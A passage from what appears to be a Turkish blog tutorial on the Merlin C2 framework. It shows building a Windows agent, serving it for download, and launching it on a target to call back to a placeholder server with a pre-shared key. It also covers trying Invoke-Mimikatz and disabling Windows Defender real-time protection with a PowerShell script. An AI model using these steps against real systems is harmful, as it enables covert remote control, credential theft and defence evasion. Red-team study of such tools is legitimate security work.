Ardından aşağıdaki gibi exe dosyamızı oluşturuyoruz.

make agent-windows DIR="./output"

Sonrasında, SimpleHTTPServer(python3'te http.server) modülü yardımıyla veya başka bir yöntem ile dosyayı yayınlayıp hedef sistemde çekin ve exe dosyasına aşağıdaki gibi url ve psk parametlerini verin.

merlinAgentWindowsx64.exe -url https://ser.ver.ip.adresi:443 -psk bağlantıİçinGerekliŞifre

Veee en son güncellemelerini almış, Windows Defender'ın örnek gönderimi dışındaki bütün özellikleri açık sistemde herhangi bir sorun olmadan bağlantımızı aldık


Biz bağlantımızı aldığımızda arka planda böyle bir trafik oluşmaktadır.(İlk 2 tcp paketi hariç)


İlk olarak agent içerisinde help diyerek neler yapabileceğimize bakıyoruz.Burada dikkat çeken nokta ise agentlara modül çalıştırma görevini agent içerisinde değil, agent menüsünde vermemizdir.Agent içerisinde indirme,yükleme,komut çalıştırma gibi temel komutlar yer almaktadır.Örnek olması için sizlerle Invoke-Mimikatz modülünü çalıştıracak modülü deneyelim.


Her modülde, modüle bir veya birden fazla(yada all parametresi ile mevcut bütün ajanları) ajan belirtmemiz gerekmektedir.Ajanımızı tanımladıktan sonra run diyerek bir modülün çalıştırılmasını sağlayacak görevi ajan(lar)da oluşturuyoruz,fakat ben medium integrity ye sahip olduğumdan ve AMSI bypass işlemi uygulamadığımdan modül çalıştırılamadı.AMSI atlatma ve yetki yükseltme(privilege escalation) işlemleri bu yazının konusu olmadığından, Windows Server 2019 yüklü bir makinede System yetkilerine sahip bir agent oluşturuyorum.

Yine aynı şekilde Defender özellikleri açık ve bağlantımızı aldık.Merlin üzerinde System yetkilerine sahip iken neler yapabileceğimize de kısaca değineceğim.

Merlin ağ trafiğinde ve çalıştırıldığında, güvenlik çözümlerini atlatma konusunda iyi demiştik fakat aynı başarıyı içerideki hareketlerimiz konusunda söyleyemeyeceğim.Çalıştırmak istediğimiz bütün modüller eğer herhangi bir obfuscation yada AMSI bypass işlemi yapılmamışsa, Defender tarafından bloklanmaktadır.Rahat çalışabilmek için agenta vereceğimiz komutlarla Defender'ı devre dışı bırakmanın yollarını araştırdım ve başarılı bir sonuç elde ettim.Yukarıda göreceğiniz üzere Defender'ın tüm özellikleri aktif durumdadır.



Hedef sisteme bir powershell betiği yüklüyoruz ve içerisine yukarıda yer alan satırlardan birisini ekliyoruz veya 4. satırdaki gibi tüm özellikleri tek satırda devre dışı bırakabiliriz.Ben bu örnekte ilk satırda yer alan sadece gerçek zamanlı korumayı devre dışı bırakan komutu çalıştıracağım.


Yukarıdaki komut ile powershell e -File parametresi ile .ps1 dosyamızı veriyoruz.


Görüldüğü üzere, gerçek zamanlı koruma başarılı bir şekilde devre dışı bırakıldı, herhangi bir sorunla karşılaşılmadı.Sadece Defender menüsüne girdiğimizde bizi "blabla.ps1 dosyası Defender'ı devre dışı bıraktı, örneği yollamak istermisiniz" diye bir uyarı karşılıyor fakat biz işimizi rahatça görüyoruz.Bu benim anlık getirdiğim basit bir çözümdü, daha yaratıcılarını üretmek veya bulmakta mümkün.

Merlin ile ilgili aktaracaklarım şimdilik bu kadar.Kesinlikle çok başarılı olduğunu söyleyebilirim, mevcut gelişimini gözlemlediğimde ilerleyen zamanlarda çok daha iyi hale gelecektir.Günümüzde açık kaynak olarak sunulan bir çok c2 framework mevcuttur ve hiç şüphesiz  Merlin'de içlerinde kendini kanıtlamış bir tanesidir diyebilirim.

Konu ile alakalı sorularınız için benimle emrehuseyinkahyaoglu@gmail.com mail adresinden veya sosyal medya aracılığıyla iletişime geçebilirsiniz.Güvenli günler dilerim.